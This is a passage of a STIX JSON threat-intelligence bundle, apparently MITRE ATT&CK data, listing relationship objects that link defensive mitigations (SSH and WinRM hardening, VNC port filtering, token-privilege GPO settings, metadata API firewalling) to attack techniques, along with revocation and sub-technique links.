            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463",
            "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
            "relationship_type": "mitigates",
            "description": "Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)",
            "id": "relationship--7566cba1-7be8-4647-b0ab-2991fcde2abf",
            "external_references": [
                {
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "source_name": "Microsoft Protected View"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-23T20:21:04.021Z",
            "created": "2020-02-12T15:02:01.398Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "relationship_type": "mitigates",
            "description": "Limit which user accounts are allowed to login via SSH.",
            "id": "relationship--b16c27b4-f94b-43e4-832d-986c03b96ffd",
            "type": "relationship",
            "modified": "2020-03-23T23:43:47.159Z",
            "created": "2020-02-12T15:05:04.382Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "relationship_type": "mitigates",
            "description": "Require multi-factor authentication for SSH connections wherever possible.",
            "id": "relationship--77c5bb7d-9584-4d57-850b-6349984181a8",
            "type": "relationship",
            "modified": "2020-03-23T23:43:47.167Z",
            "created": "2020-02-12T15:05:04.394Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "relationship_type": "mitigates",
            "description": "Disable the SSH daemon on systems that do not require it.",
            "id": "relationship--0263d539-39f0-45ca-be2d-0f9198db9af0",
            "type": "relationship",
            "modified": "2020-03-23T23:43:47.181Z",
            "created": "2020-02-12T15:05:04.405Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547",
            "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "relationship_type": "mitigates",
            "description": "Restrict software installation to user groups that require it. A VNC server must be manually installed by the user or adversary.",
            "id": "relationship--f5d1e0f1-0e96-41dc-86a4-79307310a001",
            "type": "relationship",
            "modified": "2020-03-23T20:41:21.400Z",
            "created": "2020-02-12T15:22:11.328Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "relationship_type": "mitigates",
            "description": "VNC defaults to TCP ports 5900 for the server, 5800 for browser access, and 5500 for a viewer in listening mode. Filtering or blocking these ports will inhibit VNC traffic utilizing default ports.",
            "id": "relationship--4f05951e-e480-4ffc-b573-3a7aa3fc4b7c",
            "type": "relationship",
            "modified": "2020-03-23T20:41:21.404Z",
            "created": "2020-02-12T15:22:11.348Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "relationship_type": "mitigates",
            "description": "Inventory workstations for unauthorized VNC server software.",
            "id": "relationship--703ea9d2-9caf-4753-8485-d12a0e9a2817",
            "type": "relationship",
            "modified": "2020-03-23T20:41:21.405Z",
            "created": "2020-02-12T15:22:11.357Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "relationship_type": "mitigates",
            "description": "Uninstall any VNC server software where not required.",
            "id": "relationship--03e384be-6fdd-4967-99a9-6dac5af75729",
            "type": "relationship",
            "modified": "2020-03-23T20:41:21.402Z",
            "created": "2020-02-12T15:22:11.359Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
            "relationship_type": "mitigates",
            "description": "If the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions.",
            "id": "relationship--335d97be-914a-4198-aa06-55095e850ffc",
            "type": "relationship",
            "modified": "2020-03-25T12:25:03.211Z",
            "created": "2020-02-12T15:27:00.954Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
            "relationship_type": "mitigates",
            "description": "If the service is necessary, lock down critical enclaves with separate WinRM infrastructure and follow WinRM best practices on use of host firewalls to restrict WinRM access to allow communication only to/from specific devices.(Citation: NSA Spotting)",
            "id": "relationship--cb57c953-1aab-4706-8947-545d4cb0cdce",
            "external_references": [
                {
                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
                    "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-25T12:25:03.231Z",
            "created": "2020-02-12T15:27:00.955Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
            "relationship_type": "mitigates",
            "description": "Disable the WinRM service.",
            "id": "relationship--1677745c-06d5-4791-be9c-1104549c34b2",
            "type": "relationship",
            "modified": "2020-03-25T12:25:03.240Z",
            "created": "2020-02-12T15:27:00.960Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "relationship_type": "revoked-by",
            "id": "relationship--63097f33-1259-4120-8fb0-3a1cf1b6d4ec",
            "type": "relationship",
            "modified": "2020-02-12T16:34:07.077Z",
            "created": "2020-02-12T16:34:07.077Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
            "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
            "relationship_type": "revoked-by",
            "id": "relationship--fb82f6d3-0e6b-4fa5-a54a-f7deb28f8324",
            "type": "relationship",
            "modified": "2020-02-12T16:47:16.693Z",
            "created": "2020-02-12T16:47:16.693Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "relationship_type": "subtechnique-of",
            "id": "relationship--c9a1bcec-9a4d-4693-accb-5a6f67b857f6",
            "type": "relationship",
            "modified": "2020-02-12T18:55:24.841Z",
            "created": "2020-02-12T18:55:24.841Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
            "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "relationship_type": "revoked-by",
            "id": "relationship--3871b3d6-9b62-4f20-af9f-8317b263b5a8",
            "type": "relationship",
            "modified": "2020-02-12T18:55:55.461Z",
            "created": "2020-02-12T18:55:55.461Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "relationship_type": "subtechnique-of",
            "id": "relationship--ee14c1f8-55f5-4fcf-adc3-dc34d6ade005",
            "type": "relationship",
            "modified": "2020-02-12T18:56:31.130Z",
            "created": "2020-02-12T18:56:31.130Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
            "target_ref": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
            "relationship_type": "revoked-by",
            "id": "relationship--844a7c42-0d65-4e10-b438-e7aad091e443",
            "type": "relationship",
            "modified": "2020-02-12T18:56:59.293Z",
            "created": "2020-02-12T18:56:59.293Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "relationship_type": "subtechnique-of",
            "id": "relationship--e92c4fd7-eb92-4255-80c3-abaa9262845f",
            "type": "relationship",
            "modified": "2020-02-12T18:57:36.126Z",
            "created": "2020-02-12T18:57:36.126Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "relationship_type": "revoked-by",
            "id": "relationship--8ccf5cfb-df98-44e0-afb7-6e2d6c699944",
            "type": "relationship",
            "modified": "2020-02-12T18:57:58.597Z",
            "created": "2020-02-12T18:57:58.597Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
            "relationship_type": "mitigates",
            "id": "relationship--e3d0073d-4507-4966-9cb0-787c02987186",
            "description": "Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.",
            "type": "relationship",
            "modified": "2020-03-24T16:42:09.332Z",
            "created": "2020-02-14T13:09:51.253Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
            "relationship_type": "mitigates",
            "description": "Consider periodic review of accounts and privileges for critical and sensitive Confluence repositories.",
            "id": "relationship--579ff596-a4eb-486f-878e-2f8434611d00",
            "type": "relationship",
            "modified": "2020-03-24T16:42:09.335Z",
            "created": "2020-02-14T13:09:51.263Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
            "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
            "relationship_type": "subtechnique-of",
            "id": "relationship--de195a33-8461-4d6a-aa6a-cb2893904c66",
            "type": "relationship",
            "modified": "2020-02-14T13:09:51.274Z",
            "created": "2020-02-14T13:09:51.274Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
            "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
            "relationship_type": "subtechnique-of",
            "id": "relationship--b37b128a-aefc-4b40-9d2a-c213d7b29b43",
            "type": "relationship",
            "modified": "2020-02-14T13:35:33.221Z",
            "created": "2020-02-14T13:35:33.221Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "relationship_type": "mitigates",
            "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.\n\nOrganizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations.",
            "id": "relationship--c19fcf1c-8c2c-4a71-a1fb-43934cc6ba23",
            "type": "relationship",
            "modified": "2021-04-24T13:54:58.802Z",
            "created": "2020-02-17T13:03:42.660Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "relationship_type": "mitigates",
            "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.",
            "id": "relationship--8e620d3d-6766-4f26-a6ae-d7fd1276916f",
            "type": "relationship",
            "modified": "2020-02-17T13:14:31.437Z",
            "created": "2020-02-17T13:14:31.437Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "relationship_type": "mitigates",
            "description": "Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.",
            "id": "relationship--d2bb226a-810d-47ea-be8d-397b9dd94031",
            "type": "relationship",
            "modified": "2021-04-14T14:03:49.504Z",
            "created": "2020-02-17T13:20:02.698Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3",
            "relationship_type": "mitigates",
            "description": "Limit access to the Instance Metadata API using a host-based firewall such as iptables. A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)",
            "id": "relationship--fce13b14-c974-4de2-9dfb-7ad45bca85f0",
            "external_references": [
                {
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse",
                    "source_name": "RedLock Instance Metadata API 2018"
                }
            ],
            "type": "relationship",
            "modified": "2021-03-31T19:41:07.159Z",
            "created": "2020-02-17T20:44:54.835Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "relationship_type": "mitigates",
            "description": "Search SYSVOL for any existing GGPs that may contain credentials and remove them.(Citation: ADSecurity Finding Passwords in SYSVOL)",
            "id": "relationship--4abb5175-7caf-41c8-83a6-1ce459cf72df",
            "external_references": [
                {
                    "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
                    "url": "https://adsecurity.org/?p=2288",
                    "source_name": "ADSecurity Finding Passwords in SYSVOL"
                }
            ],
            "type": "relationship",
            "modified": "2020-06-17T14:25:38.393Z",
            "created": "2020-02-17T21:26:44.446Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "relationship_type": "mitigates",
            "description": "Use user training as a way to bring awareness and raise suspicion for potentially malicious events and dialog boxes (ex: Office documents prompting for credentials).",
            "id": "relationship--b921aed3-07ce-49b0-8051-48807fa82ea7",
            "type": "relationship",
            "modified": "2020-03-24T20:56:15.114Z",
            "created": "2020-02-18T15:54:51.207Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
            "relationship_type": "mitigates",
            "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)",
            "id": "relationship--d42d35c6-de42-4a3b-ada1-da6e87023192",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object",
                    "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.",
                    "source_name": "Microsoft Create Token"
                },
                {
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token",
                    "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.",
                    "source_name": "Microsoft Replace Process Token"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx",
                    "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.",
                    "source_name": "Microsoft runas"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-26T21:29:18.782Z",
            "created": "2020-02-18T16:39:06.462Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
            "relationship_type": "mitigates",
            "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.  ",
            "id": "relationship--4b3685f7-194e-466e-82a0-f8f112b224c1",
            "type": "relationship",
            "modified": "2020-03-26T21:29:18.780Z",
            "created": "2020-02-18T16:39:06.469Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "relationship_type": "subtechnique-of",
            "id": "relationship--60d24337-4634-4eef-9d7e-033949228869",
            "type": "relationship",
            "modified": "2020-02-18T16:39:06.481Z",
            "created": "2020-02-18T16:39:06.481Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
            "relationship_type": "mitigates",
            "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)",
            "id": "relationship--62b22a20-4049-4f0d-b879-235e8ab96764",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object",
                    "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.",
                    "source_name": "Microsoft Create Token"
                },
                {
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token",
                    "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.",
                    "source_name": "Microsoft Replace Process Token"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx",
                    "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.",
                    "source_name": "Microsoft runas"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-26T21:28:19.632Z",
            "created": "2020-02-18T16:48:56.787Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
            "relationship_type": "mitigates",
            "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.",
            "id": "relationship--9da590e3-3447-4401-8ac7-f6c7482e4aed",
            "type": "relationship",
            "modified": "2020-03-26T21:28:19.652Z",
            "created": "2020-02-18T16:48:56.795Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "relationship_type": "subtechnique-of",
            "id": "relationship--9f163bcc-193b-49f4-884d-4246dff23e6c",
            "type": "relationship",
            "modified": "2020-02-18T16:48:56.805Z",
            "created": "2020-02-18T16:48:56.805Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
            "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
            "relationship_type": "revoked-by",
            "id": "relationship--62959831-1f76-4274-b462-731fcffd164d",
            "type": "relationship",
            "modified": "2020-02-18T16:51:57.989Z",
            "created": "2020-02-18T16:51:57.989Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "relationship_type": "revoked-by",
            "id": "relationship--52cfec4e-9a4f-47b4-ba8a-fc95e034ac1e",
            "type": "relationship",
            "modified": "2020-02-18T16:56:57.178Z",
            "created": "2020-02-18T16:56:57.178Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
            "relationship_type": "mitigates",
            "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)",
            "id": "relationship--49aeba9e-9ae9-4eb2-873e-b8ab4f8ab347",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object",
                    "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.",
                    "source_name": "Microsoft Create Token"
                },
                {
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token",
                    "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.",
                    "source_name": "Microsoft Replace Process Token"
                },
                {
                    "source_name": "Microsoft runas",
                    "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-06T13:37:57.328Z",
            "created": "2020-02-18T18:03:37.709Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
